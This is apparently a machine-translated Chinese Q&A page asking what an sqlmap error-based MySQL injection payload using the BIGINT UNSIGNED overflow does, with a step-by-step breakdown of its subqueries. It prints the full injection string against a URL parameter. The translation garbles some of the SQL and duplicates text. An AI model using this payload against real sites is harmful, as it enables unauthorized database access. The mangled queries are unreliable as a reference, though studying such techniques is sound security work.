Mysql 这个SQLMAP负载中的SQL查询做什么?
我正在尝试使用基于错误的SQL注入技术。SQLMAP识别的技术是 基于错误-WHERE、HAVING、ORDER BY或GROUP BY子句BIGINT UNSIGNED 如果有人能够帮助您澄清SQLMAP正在使用的有效负载,那将是非常棒的Mysql 这个SQLMAP负载中的SQL查询做什么?,mysql,sql,sqlmap,Mysql,Sql,Sqlmap,我正在尝试使用基于错误的SQL注入技术。SQLMAP识别的技术是 基于错误-WHERE、HAVING、ORDER BY或GROUP BY子句BIGINT UNSIGNED 如果有人能够帮助您澄清SQLMAP正在使用的有效负载,那将是非常棒的 Payload: web/test?abc='' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b626b71,(SELECT (ELT(9092=9092,1))),0x71626b7071,0x
Payload: web/test?abc='' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b626b71,(SELECT (ELT(9092=9092,1))),0x71626b7071,0x78))s), 8446744073709551610, 8446744073709551610)))-- pprs
更具体地说,这个SQL查询中发生了什么
(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b626b71,(SELECT (ELT(9092=9092,1))),0x71626b7071,0x78))s), 8446744073709551610, 8446744073709551610)))
更新1:
格式化查询如下所示:
SELECT
2*(IF((
SELECT
*
FROM
(
SELECT
CONCAT(0x716b626b71,
(
SELECT
(ELT(9092 = 9092, 1))
)
, 0x71626b7071, 0x78)
)
s), 8446744073709551610, 8446744073709551610))
选择ELT9092=9092,1:查询输出为1,因为9092=9092结果为truei.e1,ELT函数返回第一个参数,即1
因此,下一个子查询是:
选择CONCAT0x716b626b71,1,0x71626b7071,0x78:在将十六进制转换为字符串后,查询连接字符串qkbkq1qbkpqx的输出结果
但是,从qkbkq1qbkpqx生成的子查询SELECT*会给出一个错误,指出每个派生表都必须有自己的别名
更新2:
我在查询中遗漏了@tcadidot0提到的别名。因此,现在生成的子查询是:
从qkbkq1qbkpqx s中选择*
最后一个查询是:
从qkbkq1qbkpqx s、8446744073709551610、8446744073709551610中选择2*IFSELECT*
如果表qkbkq1qbkpqx存在,则返回8446744073709551610,否则返回8446744073709551610,但结果的2倍会导致此错误:BIGINT值超出“2*如果1>08446744073709551610844744073709551610”的范围,假设1>0是条件,而不是select语句。请参阅:包含此查询中的s select*从select CONCAT0x716b626b71,从该链接答案中选择ELT9092=9092,1,0x71626b7071,0x78。大整数实际上并不限于20位,它们仅限于可以用64位表示的数字。例如,数字99999999999999999虽然有20位长,但不是有效的大整数。